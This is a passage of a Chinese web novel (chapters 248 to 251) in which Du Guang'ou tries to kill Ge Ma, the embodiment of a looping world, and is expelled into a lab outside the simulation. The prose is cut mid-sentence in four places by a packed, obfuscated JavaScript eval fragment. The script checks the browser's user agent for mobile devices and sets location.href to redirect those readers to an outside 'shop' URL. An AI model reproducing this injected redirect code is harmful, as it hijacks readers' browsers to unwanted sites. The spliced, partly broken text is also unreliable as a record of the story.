d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196295|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欧,“……贵人,你,枪走火了。” 杜光欧没有回答,只是微微抬高了手臂,瞄准了葛马的头颅。又是一声枪响,葛马的脑袋猛然往后一晃,而后,身体又因立直的驱动性回到了原位。 一柱细小的血流从他的额头流下来,遇到鼻翼,分叉,左右流向嘴角。葛马睁着他绿色的眼睛,像是第一次来到这个世界上、被猎人屠杀的羔羊一般迷惘无比,“……啊?” 杜光欧脸上的笑容早已消失,他目光不善,“果然这样你是死不了的啊。” 阵阵吸气声从周围传来,白熠没有转头去看,一时不知那是董莉莉还是夏未信发出的声音,又或者,是自己下意识的抽气。 虽然知道杜光欧找葛马肯定是有什么事,但是……居然是要杀了葛马!? 这种发展,白熠连想都没有想过。 为什么。为什么要这么做。为什么要杀葛马? 两人之间有什么仇怨吗?没有吧。就算是因为葛马一度和黎礼同流合污,杜光欧也不至于不分青红皂白,在他们还没结束谈话、元城也未唤醒的时候,就这么匆忙地想要夺走对方的性命。 他到底在急什么? 知道葛马的真实身份后,突然就…… 等等,得知真实身份之后? 如果说葛马是世界的化身,那么要除掉他的杜光欧……是要和这个世界对立的意思吗? 这个想法让白熠愣住,他从来没这么想过,即便知道自己发小的真实身份可能有点问题,对方也不是什么严格意义上的好人……白熠也从来没这么想过。 这让他回想起黎军营地中的一幕,那时候,杜光欧为了救董莉莉,而在枪手的包围里陷入了苦战。在外围观察时,白熠找到了回溯力发动的契机——杜光欧胸口那个放着毒药的匣子。 为了接近对方夺走那个匣子,白熠一度以身入局,接近杜光欧,诱发他使用能力探明自己的态度。 虽然,白熠并不清楚杜光欧在死亡分支中听到了什么,但是,从杜光欧最终的反应来看,在那个死亡分支之中,自己一定是猜中了什么,所以,杜光欧才会露出那般惊愕的神色。 白熠不禁推测自己曾在死亡分支中和杜光欧说过什么。无论说了什么,一定都是基于自己当时已有的认知,是当时已经计划好了要和杜光欧说的话。 而那时候,他计划好和杜光欧说的话,便是:你的能力凌驾生死,能够改变时间的流逝,你把这个世界玩弄于股掌之中,就像这漫天囚禁我们的风雪一样,都是不把我们的命当命的……傲慢的力量。如果说,这漫天风雪的背后有一个始作俑者,那么,光欧,你的力量,或者你本人,和这漫天风雪的由来、和它的罪魁祸首,大抵是同一个维度上的东西。 如果给他机会的话,白熠就是会对杜光欧这么说。想必,自己在死亡分支里也是一度和杜光欧这么阐述过,所以,对方才露出了那样不自然的表情。 248. 世界的相争3 但归根究底……那只是一个推测。 杜光欧拥有回溯力,他本来就和普通人不一样。所以,当然要把他归类为不一样的事物,这只是出于本能。人都习惯分类。 但是现在想一想,当时的推测,说不定也不是什么启发都没有…… 当下,圣殿内,被击穿了头颅和胸膛的葛马立在原地,他的身影就像一尊雕像,一动不动。只是,疑惑不甘的声音从那具僵硬的身体中传来,“开枪打我……为什么?” 他的身躯本应寒冷,意识本应凝固,然而,红发的男人却没有倒下,他像一个心有怨念的冤魂,依然存在于这个世界上。 “光欧……”一旁,董莉莉睁大了眼睛,不解地看着与她相识多年的男人,“你为什么……” 暗道的门口,许久未言的摄文大元帅也讶异不已,“阁下,你这是做什么?” 杜光欧听到了闻人佐的问询,对他说道:“元帅,这人虽然救过你,但不要以为他是什么好人。” 所有人都对杜光欧的举动表示不理解,但黑发的血皑人脸上却是一副笃定自己做得没错的模样。 “你们还没有认清这个人的真面目吗?”杜光欧指着葛马,对众人说道,“他想让我们全都死在这里。” ……这是栽赃。 这个想法几乎是瞬间出现在了白熠的脑海里。 “你说什么……”葛马呆愣地否定道,“我怎么可能那么想啊?” “想想这家伙瞒了我们多少事,如果不是我分析出他是世界的化身,他根本就不打算坦白这个身份。”杜光欧没有理会葛马,而是继续向众人灌输自己的看法,“世界的化身是什么概念?他理应全知全能!一个小小的轮回而已,他怎么会解决不了?只不过是寒冷的天气而已,他又怎么会操控不了呢?” “我……可我就是做不到啊!”葛马反驳说,他的额头在流血,眉目是急切的。 “他只是在一旁袖手旁观罢了!”杜光欧断言。 “我没有!”葛马大声说道,“我无能,我没用,你怎么贬低我都行,但不要说我什么都不做啊。” “葛马,别装了。”杜光欧的眼刀掷向红发的男人,他质问道,“如果只是想研究冰爆的缘由,明明只要带我过来就好了,为什么煞费苦心把我们所有人引导过来?” “那是……” “据我所知,甾染那些人也在这里,他们和计划没有任何关系,但你却还是引他们过来。元城现在几乎涵盖了叱云颠东陆所有势力中的重要人物,我在这里,和元城有关的黄家人在这里,甾染的燕家人在这里,摄文的大元帅也在这里……你为什么把他们都引到元城?” “我是……我是……”葛马的嘴唇在颤抖,那不是害怕,而像是被诬陷的羞恼,“我是想让大家都能第一时间见证新世界的到来,所以才把他们引领过来……!” “是吗,葛马?”对面,杜光欧眯起眼睛,缓缓地、低沉地问道,“你所谓的见证,就是让所有人都在热浪的席卷中死去吗?” 葛马模样着急,“之前不是说过了,你在这里,所以不会有事!因为有你,我才敢把大家都带来啊……” 杜光欧:“让他们在这里待着,一遍遍寻找所谓的冰爆起因,你觉得这样很安全,你觉得不会有人在这个过程中意外身亡?” 葛马解释道:“找到原因之后,再让大家撤离出去——” “葛马!”杜光欧突然打断他,“你真的认为我的能力万无一失吗?你真以为我能救所有人?” “我……”葛马的呼吸愈发沉重,一时答不上来。 “那我那些死在远征途中的队员是怎么回事?我哥又是怎么回事?他们可全都死了啊,在我身边死的,回溯力可一个都没救回来……!”杜光欧说完,突然看向周围的其他人,一个一个对他们说道,“白熠,你记得的吧,在血皑王城家族聚会那次,我根本救不了你,虽然你也是在演戏。莉莉!黎军军营你妹妹惨死那时也是这样,我看到她中枪了,尝试救她好几次,但还是无力回天。” 他话音落下,一众人都陷入了良久的沉默。 “事实就是这样,回溯力不是救人的能力。”杜光欧下结论一般说道,“而葛马,你作为能够遍履那些死亡分支的人,明明比谁都清楚这一点。你知道,我为了救人自残过多少次,又是多少次,什么也做不到。” 董莉莉打量了一番杜光欧,眼神中露出一丝同情。她又看向葛马,清澈的眼神中露出了一丝不信任。 大元帅握紧了手中的剑柄,他凝眉盯着红发的男人,眼神中是探究的意味。 葛马抿紧了唇,他的呼吸更加深重,身体还在颤抖。他看向周围的几个人,模样像是被那些不曾给予他声援的面庞深深地刺痛了,“不是这样。你们,相信我……” “你明知道我的能力有限,却还是让大家涉险。”杜光欧严肃的声音响起,做出一个沉重的结论,“综上,你不是想拯救什么,你只是个骗子,告诉我们轮回和寒冷的解法,却只是袖手旁观,看我们苦苦挣扎,以此为乐。” “我没有!”葛马辩驳道,他似乎已经失去了余韵,呼吸不稳,胸膛上下起伏着,往后退了两步,后背撞在台阶旁的墙壁上,血如泪一般,流了满脸,“我没有,我只是……我只是……” “葛马。”这时候,董莉莉轻声地开口,她声音那么轻柔,话语却是沉重的,“你真的是在袖手旁观吗?” 红发男人的胸膛在抽搐着,他模样绝望,缓缓摇着头,“莉莉,我……不是……” “如果阁下所言属实,”闻人佐开口,他垂眸,像在思量什么,“还请暂停当下的进程,摄文士兵不能白白失去性命……恕我不奉陪了。” “元帅,你相信我啊。”葛马近乎是祈求地说,“我怎么可能想要玩弄你们,你们都是我的……珍贵的伙伴……” 尽管他的态度已经这般卑微,可信赖还是离他远去。 “没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204247|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么说服力啊,葛马。”杜光欧说道,他的声音听起来像是梦魇一般,“不如你去死吧。你消失,我们就相信你不是在坐壁上观。” 葛马的模样像是有些噎住了,哽咽了一声,说不出话来。 此情此景,不禁让白熠有些惆怅。 就像一个个套在一起的闭环,他们杀死了黎礼,可新的问题却出现在眼前。就像是一个恶劣的玩笑,像一个不断紧缩的空间,里面的人必须向彼此掠夺仅存的空气才能继续存活下去。 当下被掠夺的人,怎么看都是葛马。 白熠看向在场的众人,尤其在董莉莉的眼中看出了深刻的不信任。 别那么快就被他骗了啊,莉莉。白熠心想。 很明显,有问题的是杜光欧。 这显然是栽脏陷害,他想让所有人的矛头都指向葛马。 白熠都快忘了,杜光欧舞弄人心有一手。 他太熟悉对方这幅道义凛然的模样,血皑人似乎是个天生的领导者,只是站在人群面前,他就能口若悬河,大言不惭地说着违心的话,驱动众人,引领众人,诱导人们,无论这是对是错,只要这能够达成目的,杜光欧就会去做。 他曾经为了拉拢琉城的人,而在倾颓的城市残垣上侃侃而谈。他在带领琉城士兵奔向血皑王城赴死前,给了他们每个人目标和价值,让人们趋之若鹜。 杜光欧那张嘴善于舞弄人心,他逢场作戏,滔滔不绝,撒下弥天大谎,只为了让众人皈依一心,为他所用。 而现在,他又要施展这项天赋去做些什么了。 虽然白熠现在很想站出来替葛马说话,但他还未能掌握任何有关杜光欧目的或身份的确凿证据,现在突然说他有问题,谁也不会相信。尤其是在场几人已经明显偏向杜光欧的前提下…… 就在白熠思索如何是好的时候,一声巨响在圣殿中响起。 他已经太过熟悉这种巨大的、爆发式的响声,甚至不需要转头寻找音源,他就知道,那是枪声。 在台阶的上方,夏未信拖着长枪,头侧倚,枪口正在冒烟。而那枪口对准的,正是杜光欧的方向。 再向台阶下方望去,只见杜光欧歪着脖子,刚刚把头摆正,他用一副冷淡不屑的模样盯着开枪的女人,说道:“听了刚才那些,还朝我开枪?我不是说了葛马才是那个有问题的人吗?” 夏未信丝毫不停,手法熟练地给长枪换弹:“你的能言巧语,我在琉城的时候就领会过。那时候没有上当的我,现在也不会上当。” 就在他们交流的时候,一声锐利的金属磨擦声响起,只见董莉莉提起那雪白的剑,面色阴沉地盯着台阶上的夏未信。女人在杀了黎梦之后,像是打开了什么开关一样,她的目光依然澄澈,只是,似乎也不介意自己的手上再多染上几个人的血。 夏未信注意到了她,手下犹豫了片刻,但还是继续动作,一颗空弹壳从台阶上掉下去,伴随她的声音一同坠落,“我不想和你起争执。” 249. 世界的相争4 杜光欧拉住董莉莉,将她带到自己的身后,“莉莉,我没关系。保护好你自己。” 董莉莉依然盯着夏未信,仿如看着一个猎物一般,此刻的她就像是一个游猎的牧女。 “元帅。”杜光欧呼唤道。 他没多说什么,暗道口的闻人佐与他配合得十分默契。大元帅给身后的士兵比了个手势,一众摄文士兵涌入圣殿,迅速来到台阶之下,一根根枪管指向了上方的夏未信。 “……好吧。”夏未信放弃了再用枪对准谁,把它背回身后,双手摊开,一副投降的模样,“你们人多。” 摄文士兵涌上台阶,将短发的女人拖了下来,控制住了她。 夏未信双脚几乎离地,她难耐地挣动了一下,音色有些抱怨,对大元帅说道:“我刚才被人踹了一脚,昨天吃的饭都吐出去了,现在难受得很,行行好让他们轻点对我,行吗?” 闻人佐打量了一眼,扬了扬头,让夏未信身边的士兵别再把人架得那么高。 双脚沾地,夏未信说道:“谢了。” 事已至此,局面完全在杜光欧的控制之中。 这是最坏的展开……白熠心想。 接下来杜光欧会做什么?他会把葛马怎么样? 葛马他…… 葛马呢? 白熠向葛马原来所在的地方看去,可那浑身是血的西索人已经不在那里。往周围扫过,在一众摄文士兵的身影中也看不到男人的影子。 他在混乱之中消失了。 白熠不是唯一一个注意到葛马消失的人,圣殿之中很快响起杜光欧的喊声,“元帅,搜查这里!元城尚未苏醒,他肯定没有走远。” 那摄文的元帅不知和杜光欧达成过什么协议,后者说什么他都照办。当下,闻人佐一声令下,他手下的士兵分散开来,开始在这圣殿之中探寻。 白熠见状,退到了一侧的暗影中。这里没人在乎他,他已经很久没说话了,就是为了将自己淡出所有人的视线。 圣殿两侧有六扇关闭的门,那后面通向各有用途的侧房。士兵没有放过每一个房间,依次进入那些侧房,把里面翻了一个底朝天,祭祀或其它用处的柜子和桌台全都七零八落,直到没有一个能藏人的角落,他们才从中撤出。 士兵离开了第一个搜查的侧房。守在一旁角落的白熠看准了这个时机,趁所有人都没有注意到他,一个闪身窜了进去。 白熠在门口蹲了下来,微掩房门,留下一个足以观察外界的缝隙。他朝外窥探了片刻,确定没有人注意到他,这才回过头来,盯着狼籍一片的房间,轻声说道:“你在这附近吗,葛马?” 周围很安静,只有灰尘从空中向下飘落。 “我不怀疑你。”白熠再度开口道,他尽量让自己的声音听起来可信,“我知道有问题的是杜光欧。” 说完这句话,眼前的尘埃开始疑聚。 凭空之间,一个人影若有若无地浮现在他的面前。起初它没有固定的形态,但随着时间的推移,边缘开始固化,又过了一阵,颜色渐渐显现,最终,一个完整的实体出现在了眼前。 “你……”白熠想说什么,可在见到对方的脸时候,接下来的话没有说出来。 男人红发绿眸,是那副身穿夸张深蓝衣袍的模样。 但这不是白熠语塞的原因,他哑言是因为……葛马在哭。 白熠沉默片刻,搜肠刮肚想出来了些安慰的话,“别气馁,我们还有机会。” “为什么这么对我?”葛马哭诉道,抹了一把眼睛,新的泪又紧接着流下来,“难道我解释得还不明白吗,我怎么可能想要害大家……他就对我一点信任都没有?亏我救了他那么多回,我还……我还……” “他不是不信任你。”白熠说道,按住葛马的肩膀,“他知道你没有那个心思。他只是……单纯为了杀你,找了一个冠冕堂皇的借口。” 葛马抬起头来,眼泪有些夸张地往下掉。他难以置信地盯着白熠,和他发色一样的眉毛朝下耷拉着,他不解地问道:“只是单纯为了杀我……?为什么,因为我帮了黎礼?” “恐怕不是吧。”白熠分析说,“他的仇恨在杀死黎礼的那一刻应该就已经终结了。我也协助了黎礼,但他的恶意明显只针对你一个人。” “为什么?我想不明白,为什么?”葛马迷茫地问道。 他看起来对杜光欧没有什么恨意,只是不停地表达着自身的疑惑。 或许,不死的人往往不在乎生死的仇怨,即便杜光欧一度“杀死”了他,葛马却没生出普世的那种怨恨。 这是这么长时间以来,白熠第一次觉得葛马不像人的地方。 白熠观察了一番外面的情况,确认没有人注意到这里,这才回过头继续这场对话,“究竟为什么,答案只有他自己知道。” 葛马摇摇头,百思不得其解一般,说道,“既然不是怀疑我陷害大家,也不是因为黎礼的事而对我怀恨在心,那为什么?为什么要这么做,为什么要杀我?” 白熠回忆了一番,“他在隐瞒什么。葛马,你交代了你的过往,问他相同的问题。可是他却没有回答你。说不定,答案就在这里。” 另一边,葛马似乎不太能充分理解白熠所说的话,他好像沉浸在了自己的思绪里,“要是……要是我按他说的……消失,再也不出现,是不是就能解决问题了?” “你千万别这么想。”白熠摇头,晃了晃对方的肩膀,“这么想,就正中对方的下怀了。” 葛马没说什么,在一旁的墙边上坐了下来,模样十分沮丧,时不时还抽泣一下。 看着他的模样,白熠陷入了沉思。 再仔细想想这一切,白熠。 他对自己说。 条件已经这么多,该得出一个结论了。 现在,毫无疑问的是,杜光欧的目地的是除掉葛马。 除掉葛马意味着什么?意味他们失去了唯一一个能够继承轮回记忆的个体。 葛马如果消失了,他赋予那些孑塑者的能力也有可能消失。 也就是说,会没有人知道他们处于一个轮回的世界中,所有人都会一无所知地陷入无尽的循环。 假如说这个推论成立的话,那么……这会是杜光欧的最终目的吗?让他们所有人都困在轮回中……图什么? 不,先不去想他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14215209|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么做的原因。既然事实无疑导向这个推论,那么就断定那是他的目的。 可如果杜光欧是想让知道轮回存在的人消失,那岂非他自身也会受到影响? 葛马消失后,杜光欧作为这个世界中的一员,在下一个轮回中,他也会失去前一个轮回的记忆,而后不断在这无尽循环中往复。 除非…… 除非他有什么方法,能够让自己免受这一切。 “葛马,你曾经跟我说,杜光欧在上个轮回中并不拥有回溯力。”白熠说道,“你说,他曾是一个在远征之中死去的凄惨王室。” “嗯,是。”葛马的头埋进自己的膝盖里,有些发闷地回答他。 “这个轮回中,你第一次见他是在什么时候?” “他出生的时候。” “为什么?” 葛马抬头,困惑地反问,“什么为什么?” 白熠:“为什么选择在那个时间见他?” “……他是光遗的弟弟,以往每次轮回我都会去见见他。”葛马说着,眼泪已经不再落下,“而且……也是因为,他是在轮回伊始的那一刻出生。” “轮回伊始的一刻?” “嗯。”葛马似乎平静了下来,模样也恢复得很快,脸上的红晕已经消下去了许多,“每次世界湮灭之后,我独自带着记忆醒来,总是很郁闷。我就想,要是能看到刚刚降生的孩子,或许就能开心起来了。事实证明这的确有效。贵人是轮回刚开始时第一个诞生的孩子,我就总是去看看小小的他,那样心情就会好很多。” ……轮回的伊始。 白熠琢磨着这个描述。 在那个时间点上诞生的人。 生命的降临。 轮回的降临。 异常的降临。 ……这会是答案吗? 白熠神情凝重起来,思虑良久,向葛马问道:“葛马,你既然是这个世界其本身,那么,如果我把你理解成一个完成的个体,你究竟拥不拥有排斥异己的能力?” 葛马愣愣地盯着白熠,吸了吸鼻子,他说道:“那是啥意思?” 白熠一顿,他思索片刻,用最通俗的话说:“我的意思是,你能驱逐外来者吗?” 葛马困惑不解,“外来者?” 白熠回想起曾经在杜光欧口中听到的一些难以理解的词汇。 “旁观者”、“教堂”、“亲生母亲”…… 还有在他身上感受到的陌生…… 白熠笃定地抬起双眼,眼中是坚信不疑的目光,“我怀疑,杜光欧不是这个世界的人。” 葛马听闻,渐渐地,下巴几乎要坠到地上,他大睁着眼睛,发出迟钝的声响,“……啊?你说、他是……什么?” 侧房外传来一阵人声,摄文的士兵没有找到葛马的踪迹,向他们的元帅汇报一无所获的结果。元帅随即下令,一部分人沿着暗道搜查,另一部分再把圣殿的六个侧房搜寻一遍。 葛马被吸引了注意,有些担忧地探头,想要看看外面的情况。但白熠把他拽回来,摇晃他的肩膀,让他回过神来。 “试一试。”白熠说,“不,你要做到。” 250. 世界的相争5 “我……”葛马木讷地盯着白熠,此刻他的脸已经完全不红了,也看不出曾经有的泪痕。只是脸上有些空茫,像是脑海一片空白,“我能吗?” “你能。”白熠肯定道,“你掌握这样的能力。” 一个坚定不疑的脚步声朝他们所在的侧房走来,一个,两个……不,很多个。他们齐头并进,像是在收紧满载的渔网。 “你怎么知道我能?”葛马不太自信地问。 “杜光欧最近很奇怪,总是在说些什么‘不在乎’的话。”白熠敛眸,说道,“从前他不是这样。他就像突然被什么附体了,但我更认为是有什么东西在他身体觉醒了过来,因为他很多行为习惯和以前一样。” “附体……?觉醒……?” “不是被什么东西占据,而像是一种叠加态……” “唔,我听不懂。” “总而言之,你就当成,最初有什么不好的东西在他身体里沉睡,而最近它醒了过来。”白熠说道,尽量用对方能够理解的方式解释,“那东西一开始没能觉醒,是多亏了有你,葛马。” “……啊?” 有人停在了侧房的门前,脚步声戛然而止。 “他刚出生的时候,你在他身边。”白熠低声又迅速地说,“你对杜光欧这个人有基础的认知,那是数百个轮回的经验。就是你的认知压制了他身体里那‘沉睡’的东西,因为那东西不正常,它不属于这个世界,所以你下意识否定了它,因此它才一直没能醒来。” “等……我已经完全胡涂了……” “总而言之,你要做的是……”白熠握住葛马的双肩,将这孤注一掷的请求传达给对方,“否定他,将杜光欧驱逐出去。” 两个身影出现在侧房的门口,令人压抑的凝视投望而来。 那是杜光欧和闻人佐,他们堵住唯一的通路,就像是两个煞神一般,阻绝了里面的人的去路。 杜光欧先抬腿,提着银剑往前走,就像他一直以来做的那样,在所有人的面前打头阵,这是他能力的应用,也是他的习惯。 葛马看了杜光欧一眼,又看着目光炯炯的白熠,模样渐渐坚定了起来。 脚步声在逼近,银色的剑无光,不再透出以往的光亮,像是它的主人终于安息了灵魂,不再徘徊,又像是那个高洁的灵魂闭上了眼睛,不愿见到眼前发生的每一幕。 “白熠,走远点。”杜光欧说道,声音冰冷又低沉,听起来像是死神最后的忠告。 白熠盯着对方,他知道,如果自己不躲,杜光欧绝对不会给他第二次机会。 葛马站了起来,挺直了胸膛挡在白熠的面前。 “这么耗下去,没有意义。”杜光欧盯着葛马说。 “是你非要在这里和我耗。”葛马说,挺起胸脯来,似乎气势上根本不想输给对方一样,“我想明白了……我是不会让你得逞的。就算要重塑我的躯体成千上万次,就算要永远和你在这里打下去。” “那就耗着吧。”杜光欧顺和地说道,高抬手中的剑,“直到我找到彻底杀死你的方法为止。” 时隔许久,葛马终于露出一笑,“我才没有那么容易死呢。” 杜光欧提着剑冲上来,不再用枪,回归了最为简朴的作战方式。或许,那才是他最为熟悉的方式,也是最为擅长的方式。 葛马手中没有武器,而显然,杜光欧寻求的也不是一场正当的对决。他们只是不断重复着攻击、闪躲、被击中、塑身重生的过程。 看葛马的样子,白熠心想,对方应该是还没有找到什么好办法。也是,突然让他应用一种他从来没有想象过的能力,总归有些勉强。 “啊——疼!”一剑劈上手骨,葛马嘶了一声,大嚷着痛。他能塑造形体,却好像给自己保留了太过逼真的痛觉,导致他频频因为流血而哀嚎,“真是要了命了,你到底想要什么啊?暂停,暂停一下,咱们商量商量!” “没有商量的余地。”杜光欧说道,阴鸷地盯着对方,“你非死不可。” 葛马盯着杜光欧,大声嚷嚷道:“凭什么?!” “因为你是个错误。”杜光欧再度挥剑进攻。 葛马和他拉开距离,捂着自己豁开的手掌,说道:“什么意思,什么叫我是个错误?我就是个不值一提的生命,哪有什么错误不错误一说?” 杜光欧盯着他,一言不发。 “又是这个鬼样子,开口说句话能要了你的命吗?”葛马埋怨道。 “那关乎一件至关重要的事……但不是你需要了解的事。”杜光欧前半句细若蚊呐,后半句有渐渐清晰可闻。他甩开剑上的血,那几乎是一个习惯性的动作,只是为防止血垢锈蚀剑身,“我只要你死。” “我死的时候,说不定这个世界也会崩解喔!”葛马说着大话,不着边际。 杜光欧自然没有相信他的话,“没有你的时候,世界也好好地存在着。” 白熠从这句话里听出来一丝端倪。 没有葛马的时候。 葛马是诞生于数百个轮回之中的、类似这个世界的意念一样的东西。而杜光欧的话听起来,就好像他知道无尽轮回之前的世界是怎样一样。 另一边,葛马沉吟一声。他似乎渐渐不再那么单纯、一无所知,在白熠告知他自己可能的猜测之后,显然,葛马对杜光欧也有一些自己的看法,“你,果然很奇怪!以前我只当你是血皑城的王室,和我们说话的习惯不一样,所以才显得那么傲慢。但是,你根本就是不对劲,最近这种感觉特别强烈。你不是有什么王室架子,你根本就……根本就像是不在这里,总是以一个至高的角度看着我们,所以才会有那种傲慢的感觉。就好像……” 杜光欧无言,只是面色冷峻的盯着葛马。 葛马的表情空洞起来,带着鲜少的恐怖,“就好像元城人一直以来抗衡的,那监视着这片大地的,有些人称之为神明的东西。” 周围陷入了一片寂静。 葛马和杜光欧对峙着,闻人佐和他的手下就守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228503|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在侧房的门口。阵阵细微的议论声从那些士兵之中传来,大元帅咳嗽了一声,他们才安静下去。 “哎呀,这只是个比喻。”葛马笑起来,像是不太适应这种紧张的场面一般,说道,“不过,说你不在乎这个世界,这总没说错吧?” 杜光欧鼻子哼出了一声,像是不屑。 “他们有人说你虚伪,我一直没看出来。”葛马说道,他点点头,像是在自己肯定自己,“不过,现在我看出来了。你明明不在乎这片大地,刚才却假意配合我们寻找冰爆的源头。你明明不在乎这里的所有人,却假惺惺叫莉莉照顾好自己的安危,还让白熠赶紧离开。你……” 话没说完,杜光欧身影一动,瞬间朝葛马冲了过来。 葛马一愣,下意识想要躲避,但是,只得略略回撤了一步,便被杜光欧一剑入心。血皑人像是对杀死西索人这件事乐此不疲,执意消灭他每一个化身。 红发男人发出痛呼,那听上去不像是假的。但这次,葛马依然没有那么快消失,他近距离盯着杜光欧,眼睛染上了猩红,一些生理反应让身体抽搐,可他还是坚持说道:“不,不是虚伪。而是……矛盾。你明明不在乎,却又在乎。是什么让你这样?” 杜光欧拧转剑柄,在葛马的胸膛开了一个大洞,像是在催促他消失一般。 葛马吐了口血,疼得脸色发白,但是,他一声没吭。他拿自己满是血的手掌抓住了杜光欧的手臂,瘆人地笑起来,“对于矛盾的东西,我可擅长对付啦。毕竟,一个世界要自圆其说,每一个构成它的部分都必须是合理的。就像不会有流向天空的瀑布,也不会有死而复生的人,这是世界的常理。我怎么早没有想到呢?你的矛盾,你于这个世界所有不和谐的地方,全都是破绽。” 杜光欧皱着眉,想要抽身,却发现葛马死死抓着他的手臂。 葛马道:“我再问你最后一遍,你真的不愿意帮忙吗?看看冰爆之后发生了什么,我就这一个请求。怎么你才能答应?” “我只要你死。”杜光欧瞪着他回答。 “好吧……”葛马说道,血从他的嘴里漫出来,像是在说什么遗言一般,只是,那眼中的火焰迟迟不灭,“但我在见到新世界之前,不会死。” 葛马两只手抓着杜光欧,一步步逼近,直到剑柄几乎都要戳进他的心脏里。 此刻,两人的身影几乎完全重叠在一起。闻人佐似乎是见局势不妙,枪上膛,瞄准了红发男人的方向。 杜光欧也像是预知到了什么危险一般,猛然挣扎。然而,葛马却是用上了拼死的力气一般,无论如何也不放开。 “虽然我很弱,就像你说的,明明是这个世界的化身,却无法拯救它……!但是,这并不妨碍我行使一点小小的权力。” 他如亡灵一般,拖着已经惨败的躯壳,要将一个不该存在的人拽入深渊。 在闻人佐手里的枪响之前,人们听见世界的化身如此说道—— “我否定你的存在。消失吧,杜光欧。” 251. 被迫终止1 ## 一片混沌的景色在他的眼前穿梭。 蔚迟野感觉自己在坠落,失重感让他猛然睁开眼睛。 他不停地喘息着,胸腔剧烈地起伏。 眼前是混浊的玻璃罩,雾气模糊了它的表面,让他的视线无法抵达外界。他猛然坐起来,头却撞上玻璃罩,发出咚的一声巨大声响。 他龇牙咧嘴,胳膊肘撑住自己的上半身,一只手捂着自己的额头。 眼前的玻璃罩缓缓打开,那个名叫柏汝恭的实验室主任坐在外面的座椅上,戴着一副粗框眼镜,面无表情地盯着他。 见到她,蔚迟野才终于反应了过来。 他出来了,他离开了样界。 但是,怎么会——怎么可能葛马说要驱逐他,就真的能—— “快暂停样界!”蔚迟野想到了什么,冲柏汝恭喊道。 对面的女人却并不着急,她没有动作,只是耸了耸肩,说道:“你弹出的时候程序会自动停止,现在,样界已经停止运转了。” 蔚迟野惊魂未定地喘息着,听到柏汝恭这么说,他才放下了心来。 柏汝恭盯着他,目光透过眼镜注视着蔚迟野的脸,“怎么了,你突然弹出来,是解决样界循环的问题了吗?” 蔚迟野看了柏汝恭一眼,关于现世的记忆缓缓流入他的脑海。 他想起来,柏汝恭曾经说过,样界转速很快,外界很难观察细节,只能统计到一些宏观指标。只有等一次循环结束,实验员才能拿到比较详尽的数据。 所以,现在,柏汝恭并不知道样界里面究竟发生了什么。 蔚迟野双手盖在脸上,胡乱地摩挲了一把,“……还没有。” “嗯?奇怪。”柏汝恭嘀咕着,转回她的电脑屏幕面前,在那上面操作着什么,“按理来说,不会发生突然弹出的情况……你最后经历了什么?” 蔚迟野从休眠舱上下来,暂且没有回答对方的话。双腿落在地面,竟一时有些不稳。不知道自从进入样界之后过去了多久,不过,看自己身体这幅模样,恐怕不短。 他来到柏汝恭的身后,撑住她的座椅靠背,说道:“电脑,能借我一下吗?我想查一些资料。” 柏汝恭回头看了蔚迟野一眼,思虑片刻,伸腿蹬了一下地面,座椅滑动,给他让出了位置来,“可以。” 蔚迟野没有瞒着柏汝恭的意思,便当着她的面搜查了起来,他再次输入了“葛马”这个名字,但是,搜索返回给他的结果依然是一个空白的页面。 一个从外界观测不到的“个体”,样界自发产生的虚拟灵魂,就像是人体里携带的细菌,不可见,也难以单独消灭。这种东西,要怎么让他消失……? 蔚迟野百思不得其解,想不出什么好办法,只好继续搜索下去。他再搜“西索人”,倒是能搜出来一些信息,文字写着,那是一个赤发绿眸的种族,集中在叱云颠东侧,大寒潮袭来时,种族往叱云颠的方向迁徙,试图穿越那座高山,但是在那之后绝迹。 下面,一行小字如此标注着:实验员操作不当,未能及时监控人种动向,导致其生存轨迹偏移,无法回撤。事故累积损失财产已由个人承担。 就在他聚精会神盯着屏幕的时候,一阵手机的铃声响了起来。柏汝恭看了眼自己手上的腕表,在那上面点了一下,又碰了碰自己的耳机,对着空气说道:“方先生。……是的,弹出了。” 她说这些的时候,视线向蔚迟野投来,话语却是向耳机里的人说,“问题好像还没有解决。……我知道了,报告十分钟之后发到您的终端上。” 